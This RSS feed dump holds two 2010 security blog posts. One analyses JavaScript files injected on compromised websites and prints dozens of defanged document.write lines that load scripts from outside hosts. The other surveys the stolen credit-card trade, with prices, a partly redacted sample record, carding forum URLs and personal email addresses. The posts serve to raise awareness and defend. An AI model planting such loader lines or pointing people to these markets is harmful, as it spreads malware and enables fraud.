stopthehacker.com » hackers http://www.stopthehacker.com Jaal, LLC Tue, 07 Feb 2012 14:00:27 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Hackers Understand the Value of Backups http://www.stopthehacker.com/2010/05/04/hackers-understand-the-value-of-backups/ http://www.stopthehacker.com/2010/05/04/hackers-understand-the-value-of-backups/#comments Tue, 04 May 2010 18:17:13 +0000 anirban http://www.stopthehacker.com/?p=1585 Hackers have been trying new tricks to obfuscate their malicious code and sneak it surreptitiously into benign websites. This trend is ever increasing as websites are now the weakest link in the entire malware chain. Hackers discover vulnerabilities in websites, exploit them to inject malicious bad code and voila – you have at your disposal a “trusted” website – lots of web surfers will drop by, and in turn get infected with the hacker’s malicious code. This vicious cycle of malware has become a very attractive modus operandi for the dark figures of the Internet.

Overview

This post will show an example of a trend about which we first blogged a few months ago. We will concentrate on the way hackers use “backup-sources” to infect visitors to a compromised website. If this does not make sense yet, hold on for just a few seconds more.

Quite recently we blogged about how hackers are using benign and useful JavaScript hosted locally on accounts managed by the website owner/admin to spread malware. Hackers have injected malicious code right into useful snippets of JavaScript which do everything from displaying menu buttons, drop down choices and much much more. Take a look at our previous findings: here.

An Example

Everyday we find websites which are infected with malicious code which follows the same principles. In fact, we now monitor over 1 million websites!

Website name: ipac-bd.org
Time of latest scan: 15:33:10 PDT on 2010/05/03

In this example, the website was hosting JavaScript which had been compromised by a hacker. The hacker had inserted various script elements at the very end of the benign JavaScript being used by the website. It’s likely that the website owner never saw this coming, and probably did not realize what was going on until he was blacklisted.

The “Backup” Strategy

Take a look at the example below: clearly the hacker used multiple websites which he has compromised as the “loading point” for the malicious payload injected as part of the benign JavaScript. It’s almost funny when one realizes the number of websites this hacker has used as backups for his malicious code.

In this example the hacker has used 30 different infected websites to try and load his malicious code. The frequency distribution of the infectious websites which the hacker has used to distribute his malware is present below. It seems that hackers understand the concept of a “backup-strategy” well. An interesting point to probe further would be to understand why the frequency distribution of the infected sites is the way it is.

Frequency distribution of infected websites used in the transmission of malware.

Frequency distribution of infected websites used in the transmission of malware.


Example Code

element.style.top    = top + 'px';
element.style.left   = left + 'px';
element.style.height = element._originalHeight;
element.style.width  = element._originalWidth;
}
}

// Safari returns margins on body which is incorrect if the child is absolutely
// positioned.  For performance reasons, redefine Position.cumulativeOffset for
// KHTML/WebKit only.
if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) {
Position.cumulativeOffset = function(element) {
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop  || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == document.body)
if (Element.getStyle(element, 'position') == 'absolute') break;

element = element.offsetParent;
} while (element);

return [valueL, valueT];
}
}
element.style.top    = top + 'px';
element.style.left   = left + 'px';
element.style.height = element._originalHeight;
element.style.width  = element._originalWidth;
}
}
document.write('<script src=hxxp://kazaadownloadpro.com/images/info.php ></script>');
document.write('<script src=hxxp://kazaadownloadpro.com/images/info.php ></script>');
document.write('<script src=hxxp://kazaadownloadpro.com/images/info.php ></script>');
document.write('<script src=hxxp://kazaadownloadpro.com/images/info.php ></script>');
document.write('<script src=hxxp://kazaadownloadpro.com/images/info.php ></script>');
document.write('<script src=hxxp://kazaadownloadpro.com/images/info.php ></script>');
document.write('<script src=hxxp://mesalina.pl/logs/COPYRIGHT.php ></script>');
document.write('<script src=hxxp://mesalina.pl/logs/COPYRIGHT.php ></script>');
document.write('<script src=hxxp://mesalina.pl/logs/COPYRIGHT.php ></script>');
document.write('<script src=hxxp://mesalina.pl/logs/COPYRIGHT.php ></script>');
document.write('<script src=hxxp://mariupol.com.ua/marso/inc_akcii.php ></script>');
document.write('<script src=hxxp://mariupol.com.ua/marso/inc_akcii.php ></script>');
document.write('<script src=hxxp://mariupol.com.ua/marso/inc_akcii.php ></script>');
document.write('<script src=hxxp://mariupol.com.ua/marso/inc_akcii.php ></script>');
document.write('<script src=hxxp://mariupol.com.ua/marso/inc_akcii.php ></script>');
document.write('<script src=hxxp://mariupol.com.ua/marso/inc_akcii.php ></script>');
document.write('<script src=hxxp://nzoz.org/css/paginacja.php ></script>');
document.write('<script src=hxxp://nzoz.org/css/paginacja.php ></script>');
document.write('<script src=hxxp://nzoz.org/css/paginacja.php ></script>');
document.write('<script src=hxxp://nzoz.org/css/paginacja.php ></script>');
document.write('<script src=hxxp://nzoz.org/css/paginacja.php ></script>');
document.write('<script src=hxxp://1-2-3security.com/images/products_housing.php ></script>');
document.write('<script src=hxxp://devinjarvis.com/modlogan/index.php ></script>');
document.write('<script src=hxxp://forumonly5.com/images/gifimg.php ></script>');
document.write('<script src=hxxp://balajidentalcare.com/images/gifimg.php ></script>');
document.write('<script src=hxxp://balajidentalcare.com/images/gifimg.php ></script>');
document.write('<script src=hxxp://balajidentalcare.com/images/gifimg.php ></script>');
document.write('<script src=hxxp://balajidentalcare.com/images/gifimg.php ></script>');
document.write('<script src=hxxp://balajidentalcare.com/images/gifimg.php ></script>');
document.write('<script src=hxxp://coimbatore4u.com/WAP/default.php ></script>');
document.write('<script src=hxxp://coimbatore4u.com/WAP/default.php ></script>');
document.write('<script src=hxxp://coimbatore4u.com/WAP/default.php ></script>');
document.write('<script src=hxxp://lovegunsan.kr/data_file/lovegimje/errimg.php ></script>');
document.write('<script src=hxxp://lovegunsan.kr/data_file/lovegimje/errimg.php ></script>');
document.write('<script src=hxxp://precilub.com/lang/favicon.php ></script>');
document.write('<script src=hxxp://potaz.truelife.com/files/SQLyogTunnelz.php ></script>');
document.write('<script src=hxxp://asterisk-e-services.com/server/faq.php ></script>');
document.write('<script src=hxxp://asterisk-e-services.com/server/faq.php ></script>');
document.write('<script src=hxxp://asterisk-e-services.com/server/faq.php ></script>');
document.write('<script src=hxxp://newlifecareplus.com/images/LeftBar.php ></script>');
document.write('<script src=hxxp://newlifecareplus.com/images/LeftBar.php ></script>');
document.write('<script src=hxxp://newlifecareplus.com/images/LeftBar.php ></script>');
document.write('<script src=hxxp://newlifecareplus.com/images/LeftBar.php ></script>');
document.write('<script src=hxxp://newlifecareplus.com/images/LeftBar.php ></script>');
document.write('<script src=hxxp://bad-credit-personal-loan.co.cc/css/config.php ></script>');
document.write('<script src=hxxp://bad-credit-personal-loan.co.cc/css/config.php ></script>');
document.write('<script src=hxxp://foot-jobss.co.cc/wp-includes/wp-config-sample.php ></script>');
document.write('<script src=hxxp://bollyqueens.com/hot/showtopad.php ></script>');
document.write('<script src=hxxp://bollyqueens.com/hot/showtopad.php ></script>');
document.write('<script src=hxxp://bollyqueens.com/hot/showtopad.php ></script>');
document.write('<script src=hxxp://bollyqueens.com/hot/showtopad.php ></script>');
document.write('<script src=hxxp://almos-agroliga.ru/agroaddress/woodwork.php ></script>');
document.write('<script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php ></script>');
document.write('<script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php ></script>');
document.write('<script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php ></script>');
document.write('<script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php ></script>');
document.write('<script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php ></script>');
document.write('<script src=hxxp://xn--alpenwaldhtte-5ob.de/inc/anreise.php ></script>');
document.write('<script src=hxxp://completecompliance.co.in/img/legislationSEP1.php ></script>');
document.write('<script src=hxxp://completecompliance.co.in/img/legislationSEP1.php ></script>');
document.write('<script src=hxxp://completecompliance.co.in/img/legislationSEP1.php ></script>');
document.write('<script src=hxxp://completecompliance.co.in/img/legislationSEP1.php ></script>');
document.write('<script src=hxxp://completecompliance.co.in/img/legislationSEP1.php ></script>');
document.write('<script src=hxxp://completecompliance.co.in/img/legislationSEP1.php ></script>');
document.write('<script src=hxxp://paragonfumigation.com/images/contactus.php ></script>');
document.write('<script src=hxxp://paragonfumigation.com/images/contactus.php ></script>');
document.write('<script src=hxxp://paragonfumigation.com/images/contactus.php ></script>');
document.write('<script src=hxxp://paragonfumigation.com/images/contactus.php ></script>');
document.write('<script src=hxxp://paragonfumigation.com/images/contactus.php ></script>');
document.write('<script src=hxxp://paragonfumigation.com/images/contactus.php ></script>');
document.write('<script src=hxxp://jakojonevar.webphoto.ir/photos/restoreg.php ></script>');
document.write('<script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php ></script>');
document.write('<script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php ></script>');
document.write('<script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php ></script>');
document.write('<script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php ></script>');
document.write('<script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php ></script>');
document.write('<script src=hxxp://aanm-vvrsrpolytechnic.ac.in/old/images/j909q/banner_2.php ></script>');
document.write('<script src=hxxp://eumentum.com/newtrans/page_home.php ></script>');
document.write('<script src=hxxp://eumentum.com/newtrans/page_home.php ></script>');
document.write('<script src=hxxp://eumentum.com/newtrans/page_home.php ></script>');
document.write('<script src=hxxp://eumentum.com/newtrans/page_home.php ></script>');
document.write('<script src=hxxp://golchinhamed.ir/cgi-bin/PARSICT.php ></script>');
document.write('<script src=hxxp://golchinhamed.ir/cgi-bin/PARSICT.php ></script>');
document.write('<script src=hxxp://golchinhamed.ir/cgi-bin/PARSICT.php ></script>');
document.write('<script src=hxxp://pracemladaboleslav.cz/wp-admin/license.php ></script>');
document.write('<script src=hxxp://travelgenerators.com/Images/Dubai.php ></script>');
document.write('<script src=hxxp://allocinema.net/wp-admin/wp-commentsrss2.php ></script>');
document.write('<script src=hxxp://pink-hippo-mannheim.alexander-ditz.de/images/web2dateftplog.php ></script>');
document.write('<script src=hxxp://pink-hippo-mannheim.alexander-ditz.de/images/web2dateftplog.php ></script>');
document.write('<script src=hxxp://pink-hippo-mannheim.alexander-ditz.de/images/web2dateftplog.php ></script>');
]]> http://www.stopthehacker.com/2010/05/04/hackers-understand-the-value-of-backups/feed/ 1 The “Underground” Credit Card Blackmarket http://www.stopthehacker.com/2010/03/03/the-underground-credit-card-blackmarket/ http://www.stopthehacker.com/2010/03/03/the-underground-credit-card-blackmarket/#comments Wed, 03 Mar 2010 17:10:10 +0000 anirban http://www.stopthehacker.com/?p=1420 Credit card data has been traded on the cyber black-market for a number of years. The relatively recent breaches of TJX Companies (owner of T.J. Maxx) and Heartland Payment Systems show the extent to which criminals will go in order to harvest credit card numbers, social security numbers, names, addresses and more. All this legitimate (but stolen) information fuels a world of cyber crime.

In this article we show that, unlike what you might think, the credit card black-market operates very much in the open. Below we point out websites, which can be used to tap into the cyber black-market and find stolen credit card numbers and the associated credentials to purchase for any purpose they desire. We also show instant messenger handles, emails and details of what cyber criminals are selling on the Internet.

We analyzed 429 unique domains and 615 unique URLs. Each of these URLs contained information about buying stolen credit card information. Each URL lead to a web page where cyber-criminals have posted details about how to interact with them and buy stolen financial credentials. In the majority of cases, cyber criminals who are selling this information can provide one of the following types of data.

The data for this article was collected between February 27th and March 2nd, 2010.

Basic Credit Card Information Offers:

Usually consists of credit card number, type, expiration date and CVV.

USA & CANADA CCV2

VISA/Mastercard ~ 2USD/each
AmEX/Discover   ~ 4 USD/each

UK & WU CVV2

VISA/Mastercard ~ 3USD/each
AmEx/Discover   ~ 5USD/each

Premium Credit Card Information Offers:

Usually consists of credit card number, type, expiration date, CVV, SSN, Home Address, Full Name, Date of Birth and much more.

USA & CANADA CCV2

VISA/Mastercard ~ $35/each

UK & EU

VISA/Mastercard ~ $40/each

ACCOUNT INFORMATION:
First Name: xxxxx
Last Name: xxxxx
Address: xxxxx xxxxx xxxxx xxxxx
Apt:
City: Homestaed
State: FL
Zip: xxxxx
Home Phone: (xxxxx)xxxxx-xxxxx
Work Phone: (xxxxx)xxxxx-xxxxx
Email: xxxxx@yahoo.com
SSN: xxxxx-xxxxx-xxxxx
License Number: xxxxx-xxxxx-xxxxx-xxxxx-xxxxx
License State: FL
DOB: 09/xxxxx/xxxxx

PAYMENT INFORMATION:
Credit Card Type: VISA
Number: xxxxxxxxxxxxxxx
CCV: 889
Expiration Date: 11/2008
Name: xxxxx xxxxx
Card Name First: xxxxx
Card Name Last: xxxxx

PayPal Information Offers:

Verified account                 ~ 20USD/each
Verified account with email pin  ~ 25USD/each
Verified acccount with full info ~ 35USD/each
unverified account               ~ 10USD/each

Some domains host multiple instances of stolen Credit Card Ads, (CC-Ads). We present the frequency distribution of CC-Ads on each unique domain below.

Frequency of CC-Ads on each unique domain.

Frequency of CC-Ads on each unique domain.

Interesting Highlights:

  • None of the websites advertising stolen credit card data were blacklisted by Google’s Safe Browsing List. This could potentially indicate that cyber criminals are conscientious of not discouraging visitors to these sites.
  • Cyber criminals prefer to get paid via Liberty Reserve and Western Union money transfer services.
  • Some cyber criminals have used images to provide quotations [img].
  • Yahoo.com seems to be the email and instant messaging service preferred by cyber criminals.
  • Nearly 75% of sites with CC-Ads are located in the US (see graph below).
IP Geo-location for websites with CC-Ads.

IP Geo-location for websites with CC-Ads.

Conclusion:

It is clear from the current state of the credit card black-market that cyber criminals can operate much too easily on the Internet. They are not afraid to put out their email addresses, in some cases phone numbers and other credentials in their advertisements. It seems that the black market for cyber criminals is not underground at all. In fact, it’s very “in your face.” Clearly a more concerted effort is required to clamp down on this problem. Simply tying up loose ends on the enterprise side is not enough to combat this problem when there is virtually nothing to stop criminals from touting their stolen wares freely in the Internet.

Editor’s Note: We are providing a limited list of sites as an example of the brash lawbreaking behavior of these cyber criminals. We believe it is important for the purpose of this article that the reader be able to verify our statements. Additionally, we believe that consumer awareness of the problem can only serve to reduce the ease with which these criminals operate.

Forums used to buy and sell stolen credit card information:

*hxxp://ghostmarket.net
*hxxp://gayatheists.2.forumer.com
*hxxp://www.pakbugs.com/sell
*hxxp://forums.lava-carding.com
*hxxp://www.offcarding.forums-free.com
*hxxp://hack0rz.forums-free.com
*hxxps://security-shell.ws
*hxxp://silverspam.net
*hxxp://sellcvv2.forums-actifs.com

Various instant messenger credentials [1] [2] [3] used by cyber criminals:

People who interacted with “ubuntu_kana” (Yahoo messenger):

  • ahmadshrief11@yahoo.com, davidlindon1@gmail.com, frankykkk@yahoo.com, suzannasuro@gmail.com, alexgenieve@hotmail.com, dave3331@gmail.com, ccvhack21@yahoo.com, trungtuyen68@yahoo.com, XUAN_CCS@YAHOO.COM, niklasjulius@rocketmail.com, boy_magnanimous@yahoo.com, FRESH_HACK2002@YAHOO.COM, vic.sell@yahoo.com

People who interacted with “peeseller” (Yahoo messenger):

  • aloopapa@yahoo.com, dumpsfresh@yahoo.com, ug.tsunami@yahoo.com, sellrep@yahoo.com,

People who interacted with “bagiabancc” (Yahoo messenger):

  • WorkusaJob@yahoo.com, david_cuong_85@yahoo.com, salulynho@yahoo.com, vang_kiban@yahoo.com, pro.cv2er@gmail.com, pro.cv2er@hotmail.com
]]> http://www.stopthehacker.com/2010/03/03/the-underground-credit-card-blackmarket/feed/ 11